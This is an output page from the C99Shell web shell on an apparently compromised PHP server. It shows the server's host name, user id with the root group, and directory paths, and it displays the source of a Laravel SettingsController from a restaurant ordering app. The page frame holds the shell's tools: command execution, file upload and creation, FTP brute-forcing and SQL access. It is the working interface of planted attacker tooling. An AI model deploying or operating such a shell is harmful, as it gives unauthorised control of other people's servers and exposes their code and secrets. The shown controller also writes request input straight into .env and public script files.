!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SettingsController.php (25.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;
use 
Akaunting\Module\Facade as Module;
use 
App\Address;
use 
App\Categories;
use 
App\Extras;
use 
App\Items;
use 
App\Models\LocalMenu;
use 
App\Models\Options;
use 
App\Notifications\SystemTest;
use 
App\Restorant;
use 
App\Settings;
use 
File;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Cache;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Mail;
use 
Illuminate\Support\Facades\Storage;
use 
Image;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Support\Facades\Cookie;

class 
SettingsController extends Controller
{
    private function 
validateAccess()
    {
        if (! 
auth()->user()->hasRole('admin')) {
            
abort(404);
        }
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
protected static $currencies;
    protected static 
$jsfront;
    protected 
$imagePath '/uploads/settings/';

    public function 
systemstatus()
    {
        
$totalTasks 2;

         
//Verify Stripe
         
$processor=config('settings.subscription_processor','stripe');
         
$plansEnabled=config('settings.enable_pricing',false);
         
$doStripeVerification=false;
         if(
$processor=="Stripe"&&$plansEnabled){
             
$totalTasks++;
             
$doStripeVerification=true;
         }

         
$percent 100 $totalTasks;
         
$taskDone 0;

        
//Verify system is setup correctly.
        
if (! auth()->user()->hasRole('admin')) {
            
abort(404);
        }

        
$testResutls = [];
        
//1. Make sure admin email is not admin@example.com
        
if (auth()->user()->email !== 'admin@example.com') {
            
array_push($testResutls, ['settings_default_admin_email''OK'true]);
            
$taskDone++;

            
//Continue to verify smtp setup
            
if (config('mail.mailers.smtp.username') != '802fc656dd8029') {
                try {
                    
auth()->user()->notify(new SystemTest(auth()->user()));
                    
array_push($testResutls, ['settings_smtp''OK'true]);
                    
$taskDone++;

                    
//Stripe
                    
if($doStripeVerification){
                        if(
strlen(config('settings.stripe_secret'))>3
                        
&& strlen(config('settings.stripe_key'))>3){
                            
array_push($testResutls, ['settings_stripe''OK'true]);
                            
$taskDone++;
                        }else{
                            
array_push($testResutls, ['settings_stripe''settings_stripe_not_ok'false'https://mobidonia.gitbook.io/plugins/subscriptions-plugins/stripe']);
                        }
                    }

                } catch (
\Exception $e) {
                    
array_push($testResutls, ['settings_smtp''settings_smtp_not_ok'false'https://mobidonia.gitbook.io/qr-menu-maker/define-basics/obtain-smtp']);
                }
            } else {
                
array_push($testResutls, ['settings_smtp''settings_smtp_not_ok'false'https://mobidonia.gitbook.io/qr-menu-maker/define-basics/obtain-smtp']);
            }
        } else {
            
array_push($testResutls, ['settings_default_admin_email''settings_using_default_admin_solution'false'https://mobidonia.gitbook.io/qr-menu-maker/usage/getting-started#login-as-admin']);
        }

        if(
$taskDone==$totalTasks){
            
$data json_encode(['date' => date('Y/m/d h:i:s')]);
            
file_put_contents(storage_path('verified'), $dataFILE_APPEND LOCK_EX);
        }


        return 
view('settings.status', [
            
'progress'=>ceil($taskDone $percent),
            
'testResutls' => $testResutls, ]);
    }

    private function 
translateModel($tableName$provider$fields$locale)
    {
        
$items DB::table($tableName)->get();

        foreach (
$items as $key => $item) {
            
$object $provider::find($item->id);
            foreach (
$fields as $keyFields => $valueField) {
                
$valueToStore="";
                if(
$object){
                    if(
$valueField=="name"){
                        
$valueToStore=$item->name;
                    }else if(
$valueField=="description"){
                        
$valueToStore=$item->description;
                    }

                    if(
is_numeric($valueToStore)){
                        
$valueToStore=$valueToStore.".";
                    }
                    
$object->setTranslation($valueField$locale$valueToStore)->save();
                }

            }
        }
    }

    public function 
translateMenu()
    {
        if (
auth()->user()->hasRole('admin')) {
            
$locale config('settings.app_locale');

            
//Translate categories
            
$this->translateModel('categories'Categories::class, ['name'], $locale);

            
//Translate items
            
$this->translateModel('items'Items::class, ['name''description'], $locale);

            
//Translate extras
            
$this->translateModel('extras'Extras::class, ['name'], $locale);

            
//Translate Options
            
$this->translateModel('options'Options::class, ['name'], $locale);

            
//Create the local model for all restaurants
            
$allRestaurants Restorant::where('id''>'0)->get();
            
$currentEnvLanguage = isset(config('config.env')[2]['fields'][0]['data'][$locale]) ? config('config.env')[2]['fields'][0]['data'][$locale] : 'UNKNOWN';
            foreach (
$allRestaurants as $key => $restaurant) {
                
$localMenu = new LocalMenu([
                    
'restaurant_id'=>$restaurant->id,
                     
'language'=>$locale,
                      
'languageName'=>$currentEnvLanguage,
                      
'default'=>'1', ]
                );
                
$localMenu->save();
            }

            
//Set that we have done the translation
            
$data json_encode([
                
'date' => date('Y/m/d h:i:s'),
            ], 
JSON_THROW_ON_ERROR);
            
file_put_contents(storage_path('multilanguagemigrated'), $dataFILE_APPEND LOCK_EX);

            
//Redirect
            
return redirect()->route('settings.index')->withStatus(__('Successfully migrated to multi language menus'));
        }
    }

    public function 
getCurrentEnv()
    {
        
$envConfigs config('config.env');

        
//Extra fields from included modules
        
$extraFields=[];
        foreach (
Module::all() as $key => $module) {
            if(
$module->get('global_fields')){
                
$extraFields=array_merge($extraFields,$module->get('global_fields'));
            }

        }
        
$envConfigs['3']['fields']=array_merge($extraFields,$envConfigs['3']['fields']);

        
//Since 2.2.x there is custom modules
        
$envMerged = [];
        foreach (
$envConfigs as $key => $group) {
            if(
$group['name'] !='Setup'){
                
$theMegedGroupFields = [];
                foreach (
$group['fields'] as $key => $field) {
                    if (! (isset(
$field['onlyin']) && $field['onlyin'] != config('settings.app_project_type'))) {

                        
$shouldBeAdded=true;

                        
//Hide on specific env config
                        
if(isset($field['hideon'])){
                            
$hideOn=explode(','$field['hideon']);
                            foreach (
$hideOn as $hideSpecific) {
                            if(
config('app.'.$hideSpecific,false)){
                                    
$shouldBeAdded=false;
                            }
                            }
                        }
                        if(
$shouldBeAdded){
                            
array_push($theMegedGroupFields, [
                                
'ftype'=>isset($field['ftype']) ? $field['ftype'] : 'input',
                                
'type'=>isset($field['type']) ? $field['type'] : 'text',
                                
'id'=>'env['.$field['key'].']',
                                
'name'=>isset($field['title']) && $field['title'] != '' $field['title'] : $field['key'],
                                
'placeholder'=>isset($field['placeholder']) ? $field['placeholder'] : '',
                                
'value'=>env($field['key'], $field['value']),
                                
'required'=>false,
                                
'separator'=>isset($field['separator']) ? $field['separator'] : null,
                                
'additionalInfo'=>isset($field['help']) ? $field['help'] : null,
                                
'data'=>isset($field['data']) ? $field['data'] : [],
                            ]);
                        }

                    }
                }
                
array_push($envMerged, [
                
'name'=>$group['name'],
                
'slug'=>$group['slug'],
                
'icon'=>$group['icon'],
                
'fields'=>$theMegedGroupFields,
                ]);
            }
        }

        return 
$envMerged;
    }

    public function 
cloudupdate(){
        
//Always run migration
        
Artisan::call('migrate', ['--force' => true]);

        
Artisan::call('module:migrate', ['--force' => true]);

        if (
auth()->user()->hasRole('admin')) {

            
$memory_limit ini_get('memory_limit');
            if (
preg_match('/^(\d+)(.)$/'$memory_limit$matches)) {
                if (
$matches[2] == 'M') {
                    
$memory_limit $matches[1] * 1024 1024// nnnM -> nnn MB
                
} else if ($matches[2] == 'K') {
                    
$memory_limit $matches[1] * 1024// nnnK -> nnn KB
                
} else if ($matches[2] == 'G') {
                    
$memory_limit $matches[1] * 1024*1024*1024// nnnM -> GB
                
}
            }
            
$okMemory=true;
            if(
$memory_limit==-1||$memory_limit >= 512 1024 1024){

            }else{
                
//Alert
                
$okMemory=false;
            }



            
$updater = new \Codedge\Updater\UpdaterManager(app());

            
//With update
            
if(isset($_GET['do_update'])){
                if(
$updater->source()->isNewVersionAvailable()) {


                    
// Get the new version available
                    
$versionAvailable $updater->source()->getVersionAvailable();

                    
// Create a release
                    
$release $updater->source()->fetch($versionAvailable);

                    
// Run the update process
                    
$updater->source()->update($release);

                    return 
redirect()->route('settings.cloudupdate')->withStatus(__('Successfully updated to version v').$versionAvailable);

                } else {
                    return 
redirect()->route('settings.cloudupdate')->withStatus(__('There is nothing to update!'));
                }
            }

            
//Check for new version
            
$updater->source()->deleteVersionFile();
            
$newVersion="";
            
$newVersionAvailable $updater->source()->isNewVersionAvailable();
            if(
$newVersionAvailable){
                
$newVersion=$updater->source()->getVersionAvailable();
            }

            
$theChangeLog="";
            if(
config('settings.enalbe_change_log_in_update')){
                
$ftChange="https://raw.githubusercontent.com/dimovdaniel/foodtigerdocs/master/changelog/changelog.md";
                
$qrChange="https://raw.githubusercontent.com/dimovdaniel/qrmakerdocs/master/changelog/changelog.md";
                
$wpChange="https://raw.githubusercontent.com/mobidonia/whatsappfooddocs/master/changelog/changelog.md";
                
$pcChange="https://raw.githubusercontent.com/dimovdaniel/poscloud/master/changelog/changelog.md";
                
$agChange="https://raw.githubusercontent.com/mobidonia/agrisdocs/master/changelog/changelog.md";
                
$wdChange="https://raw.githubusercontent.com/mobidonia/whatsappdrive/master/changelog/changelog.md";
                if(
config('app.isft')){
                    
$theChangeLog=@file_get_contents($ftChange);
                }else {
                    if(
config('settings.is_whatsapp_ordering_mode')){
                        
$theChangeLog=@file_get_contents($wpChange);
                    }else if(
config('settings.is_pos_cloud_mode')){
                        
$theChangeLog=@file_get_contents($pcChange);
                    }else if(
config('settings.is_agris_mode')){
                        
$theChangeLog=@file_get_contents($agChange);
                    }else if(
config('app.issd')){
                        
$theChangeLog=@file_get_contents($wdChange);
                    }else{
                        
$theChangeLog=@file_get_contents($qrChange);
                    }
                }
                
$theChangeLog=str_replace('{% embed url="https://youtu.be/','<iframe width="560" height="315" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen src="https://www.youtube.com/embed/',$theChangeLog);
                
$theChangeLog=str_replace('%}','></iframe>',$theChangeLog);
                
$theChangeLog=str_replace('\\','',$theChangeLog);
            }



            return 
view('settings.cloudupdate', [
                
'newVersionAvailable'=>$newVersionAvailable,
                
'newVersion'=>$newVersion,
                
'theChangeLog'=>$theChangeLog,
                
'okMemory'=>$okMemory
               
]);

        }else{
            return 
redirect()->route('orders.index')->withStatus(__('No Access'));
        }
    }

    public function 
index(Settings $settings)
    {
        if (
auth()->user()->hasRole('admin')) {

            
$curreciesArr = [];
            static::
$currencies = require __DIR__.'/../../../config/money.php';

            foreach (static::
$currencies as $key => $value) {
                
array_push($curreciesArr$key);
            }

            
$jsfront File::get(base_path('public/byadmin/front.js'));
            
$jsfrontmenu File::get(base_path('public/byadmin/frontmenu.js'));
            
$jsback File::get(base_path('public/byadmin/back.js'));
            
$cssfront File::get(base_path('public/byadmin/front.css'));
            
$cssfrontmenu File::get(base_path('public/byadmin/frontmenu.css'));
            
$cssback File::get(base_path('public/byadmin/back.css'));


            
$hasDemoRestaurants Restorant::where('phone''(530) 625-9694')->count() > 0;

            if (
config('settings.is_demo') | config('settings.is_demo')) {
                
$hasDemoRestaurants false;
            }

            return 
view('settings.index', [
                
'settings' => $settings->first(),
                
'currencies' => $curreciesArr,
                
'jsfront'=>$jsfront,
                
'jsfrontmenu'=>$jsfrontmenu,
                
'jsback'=>$jsback,
                
'cssfront'=>$cssfront,
                
'cssfrontmenu'=>$cssfrontmenu,
                
'cssback'=>$cssback,
                
'hasDemoRestaurants'=>$hasDemoRestaurants,
                
'envConfigs'=>$this->getCurrentEnv(),
                
'showMultiLanguageMigration'=>env('ENABLE_MILTILANGUAGE_MENUS'false) && ! file_exists(storage_path('multilanguagemigrated')),
                ]);
        } else {
            return 
redirect()->route('orders.index')->withStatus(__('No Access'));
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        
//
    
}

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        return 
redirect()->route('settings.index');
    }

    
/**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function show($id)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit($id)
    {
        
//
    
}

    public function 
setEnvironmentValue(array $values)
    {

        
$envFile app()->environmentFilePath();
        
$str "\n";
        
$str .= file_get_contents($envFile);
        
$str .= "\n"// In case the searched variable is in the last line without \n
        
if (count($values) > 0) {
            foreach (
$values as $envKey => $envValue) {
                if (
$envValue == trim($envValue) && strpos($envValue' ') !== false) {
                    
$envValue '"'.$envValue.'"';
                }

                
$keyPosition strpos($str"{$envKey}=");
                
$endOfLinePosition strpos($str"\n"$keyPosition);
                
$oldLine substr($str$keyPosition$endOfLinePosition $keyPosition);

                
// If key does not exist, add it
                
if ((! $keyPosition && $keyPosition != 0) || ! $endOfLinePosition || ! $oldLine) {
                    
$str .= "{$envKey}={$envValue}\n";
                } else {
                    if(
$envKey=="DB_PASSWORD"){
                        
$str str_replace($oldLine"{$envKey}=\"{$envValue}\""$str);
                    }else{
                        
$str str_replace($oldLine"{$envKey}={$envValue}"$str);
                    }

                }
            }
        }

        
$str substr($str1, -1);
        if (! 
file_put_contents($envFile$str)) {
            return 
false;
        }

        return 
true;
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
        if (
config('settings.is_demo') | config('settings.is_demo')) {
            
//Demo, don;t allow
            
return redirect()->route('settings.index')->withStatus(__('Settings not allowed to be updated in DEMO mode!'));
        }

        
$this->setEnvironmentValue($request->env);
        
Artisan::call('config:clear');
        
Artisan::call('cache:clear');
        
Cache::flush();

        
$settings Settings::find($id);

        
$settings->site_name strip_tags($request->site_name);
        
$settings->description strip_tags($request->site_description);
        
$settings->header_title $request->header_title;
        
$settings->header_subtitle $request->header_subtitle;
        
$settings->facebook strip_tags($request->facebook) ? strip_tags($request->facebook) : '';
        
$settings->instagram strip_tags($request->instagram) ? strip_tags($request->instagram) : '';
        
$settings->playstore strip_tags($request->playstore) ? strip_tags($request->playstore) : '';
        
$settings->appstore strip_tags($request->appstore) ? strip_tags($request->appstore) : '';
        
$settings->typeform strip_tags($request->typeform) ? strip_tags($request->typeform) : '';
        
$settings->mobile_info_title strip_tags($request->mobile_info_title) ? strip_tags($request->mobile_info_title) : '';
        
$settings->mobile_info_subtitle strip_tags($request->mobile_info_subtitle) ? strip_tags($request->mobile_info_subtitle) : '';
        
$settings->delivery = (float) $request->delivery;
        
$settings->order_fields=$request->order_fields;
        
$settings->update();


        
fwrite(fopen(__DIR__.'/../../../public/byadmin/front.js''w'), str_replace('tagscript''script'$request->jsfront));
        
fwrite(fopen(__DIR__.'/../../../public/byadmin/back.js''w'), str_replace('tagscript''script'$request->jsback));
        
fwrite(fopen(__DIR__.'/../../../public/byadmin/front.css''w'), str_replace('tagscript''script',$request->cssfront) );
        
fwrite(fopen(__DIR__.'/../../../public/byadmin/back.css''w'),  str_replace('tagscript''script',$request->cssback) );

        
fwrite(fopen(__DIR__.'/../../../public/byadmin/frontmenu.js''w'), str_replace('tagscript''script'$request->jsfrontmenu));
        
fwrite(fopen(__DIR__.'/../../../public/byadmin/frontcss.css''w'), str_replace('tagscript''script',$request->cssfrontmenu) );

        if (
$request->hasFile('site_logo')) {
            
$settings->site_logo $this->saveImageVersions(
                
$this->imagePath,
                
$request->site_logo,
                [
                    [
'name'=>'logo''type'=>'png'],
                ]
            );
        }

        if (
$request->hasFile('site_logo_dark')) {
            
$settings->site_logo_dark $this->saveImageVersions(
                
$this->imagePath,
                
$request->site_logo_dark,
                [
                    [
'name'=>'site_logo_dark''type'=>'png'],
                ]
            );
        }

        if (
$request->hasFile('search')) {
            
$settings->search $this->saveImageVersions(
                
$this->imagePath,
                
$request->search,
                [
                    [
'name'=>'cover'],
                ]
            );
        }

        if (
$request->hasFile('restorant_details_image')) {
            
$settings->restorant_details_image $this->saveImageVersions(
                
$this->imagePath,
                
$request->restorant_details_image,
                [
                    [
'name'=>'large''w'=>590'h'=>400],
                    [
'name'=>'thumbnail''w'=>200'h'=>200],
                ]
            );
        }

        if (
$request->hasFile('restorant_details_cover_image')) {
            
$settings->restorant_details_cover_image $this->saveImageVersions(
                
$this->imagePath,
                
$request->restorant_details_cover_image,
                [
                    [
'name'=>'cover''w'=>2000'h'=>1000],
                ]
            );
        }

        if (
$request->hasFile('qrdemo')) {
            
$imDemo Image::make($request->qrdemo->getRealPath())->fit(512512);
            
$imDemo->save(public_path().'/impactfront/img/qrdemo.jpg');
        }

        if (
$request->hasFile('wphomehero')) {
            
$wpDemo Image::make($request->wphomehero->getRealPath());
            
$wpDemo->save(public_path().'/social/img/wpordering.svg');
        }

        if (
$request->hasFile('poshomehero')) {
            
$wpDemo Image::make($request->poshomehero->getRealPath());
            
$wpDemo->save(public_path().'/soft/img/poshero.jpeg');
        }

        
$images = [
            
public_path().'/impactfront/img/flayer.png',
            
public_path().'/impactfront/img/menubuilder.jpg',
            
public_path().'/impactfront/img/qr_image_builder.jpg',
            
public_path().'/impactfront/img/mobile_pwa.jpg',
            
public_path().'/impactfront/img/localorders.jpg',
            
public_path().'/impactfront/img/payments.jpg',
            
public_path().'/impactfront/img/customerlog.jpg',
        ];

        for (
$i 0$i 7$i++) {
            if (
$request->hasFile('ftimig'.$i)) {
                
chmod($images[$i], 0777);
                if(
$i==0){
                    
$imDemo Image::make($request->all()['ftimig'.$i]->getRealPath())->fit(600600);
                }else{
                    
$imDemo Image::make($request->all()['ftimig'.$i]->getRealPath())->fit(480320);
                }
                
$imDemo->save($images[$i]);
            }
        }

        if (
$request->hasFile('favicons')) {
            
$imAC256 Image::make($request->favicons->getRealPath())->fit(256256);
            
$imgAC192 Image::make($request->favicons->getRealPath())->fit(192192);
            
$imgMS150 Image::make($request->favicons->getRealPath())->fit(150150);

            
$imgApple Image::make($request->favicons->getRealPath())->fit(120120);
            
$img32 Image::make($request->favicons->getRealPath())->fit(3232);
            
$img16 Image::make($request->favicons->getRealPath())->fit(1616);

            
$imAC256->save(public_path().'/android-chrome-256x256.png');
            
$imgAC192->save(public_path().'/android-chrome-192x192.png');
            
$imgMS150->save(public_path().'/mstile-150x150.png');

            
$imgApple->save(public_path().'/apple-touch-icon.png');
            
$img32->save(public_path().'/favicon-32x32.png');
            
$img16->save(public_path().'/favicon-16x16.png');
        }

        
$settings->update();

        return 
redirect()->route('settings.index')->withStatus(__('Settings successfully updated!'));
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy($id)
    {
        
//
    
}

    public function 
regenerateSitemap(){
        
$exitCodeForMigration=Artisan::call('sitemap:generate', []);
        return 
redirect()->route('settings.index')->withStatus(__('Sitemap Regenerated'));
    }

    public function 
landing(){

        
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
        if (isset(
$_GET['lang'])) {
            
//3. Change locale to the new local
            
app()->setLocale($_GET['lang']);
            
$locale =$_GET['lang'];
            
session(['applocale_change' => $_GET['lang']]);
        }

        
$this->validateAccess();


        
$availableLanguagesENV config('settings.front_languages');
        
$exploded explode(','$availableLanguagesENV);
        
$availableLanguages = [];
        for (
$i 0$i count($exploded); $i += 2) {
            
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
        }

        
$sections = ["Features"=>"feature""Testimonials"=>"testimonial""Processes"=>"process","FAQs"=>"faq","Blog links"=>"blog"];

        
$currentEnvLanguage = isset(config('config.env')[2]['fields'][0]['data'][config('app.locale')]) ? config('config.env')[2]['fields'][0]['data'][config('app.locale')] : 'UNKNOWN';


        return 
view('landing.index', [
            
'sections' => $sections,
            
'locale'=>$locale,
            
'availableLanguages'=> $availableLanguages,
            
'currentLanguage'=>$currentEnvLanguage
            
]);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--